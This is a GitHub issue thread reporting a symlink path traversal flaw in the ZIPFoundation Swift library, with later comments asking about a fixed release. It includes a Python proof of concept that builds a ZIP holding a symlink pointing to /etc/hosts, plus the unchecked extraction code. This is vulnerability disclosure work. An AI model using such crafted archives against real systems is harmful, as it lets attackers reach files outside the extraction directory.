weichsel / ZIPFoundation

Effortless ZIP Handling in Swift
MIT License
2.31k stars 255 forks source link

Symlink path traversal vulnerability #282

Closed BlueSquare1 closed 8 months ago

BlueSquare1 commented 1 year ago

Summary

The package does not check if symlinks are pointing to paths outside the extraction directory

Steps to Reproduce

1- Generate payload.zip using the following code:

import zipfile

def compress_file(filename):
    zipInfo = zipfile.ZipInfo(".")
    zipInfo.create_system = 3
    zipInfo.external_attr = 2716663808
    zipInfo.filename = filename

    with zipfile.ZipFile('payload.zip', 'w') as zipf:
        zipf.writestr(zipInfo, "/etc/hosts")

filename = 'evil_symlink'

compress_file(filename)

2- Extract payload.zip using unzipItem

import Foundation
import ZIPFoundation

let fileManager = FileManager()
var sourceURL = URL(fileURLWithPath: "/path/to/payload.zip")
var destinationURL = URL(fileURLWithPath: "/path/to/")

do {
    try fileManager.createDirectory(at: destinationURL, withIntermediateDirectories: true, attributes: nil)
    try fileManager.unzipItem(at: sourceURL, to: destinationURL)
} catch {
    print("Extraction of ZIP archive failed with error:\(error)")
}

Expected Results

evil_symlink is not linked back after extraction

Actual Results

evil_symlink is linked back after extraction

Technical details

Upon extraction, the package passes the path coming from the zip entry directly to fileManager.createSymbolicLink without checking that it is located within extraction directory

case .symlink:
    guard !fileManager.itemExists(at: url) else {
        throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
    }
    let consumer = { (data: Data) in
        guard let linkPath = String(data: data, encoding: .utf8) else { throw ArchiveError.invalidEntryPath }
        try fileManager.createParentDirectoryStructure(for: url)
        try fileManager.createSymbolicLink(atPath: url.path, withDestinationPath: linkPath)
    }
    checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
                                progress: progress, consumer: consumer)
}
mikemike396 commented 1 year ago

We just got this warning in snyk. Has anyone found a workaround?

MarcoEidinger commented 8 months ago

Awesome work @weichsel to fix this and other vulnerabilities! When do you plan to publish a new release?

pravinlondhe commented 7 months ago

@weichsel when will be next release with this fix?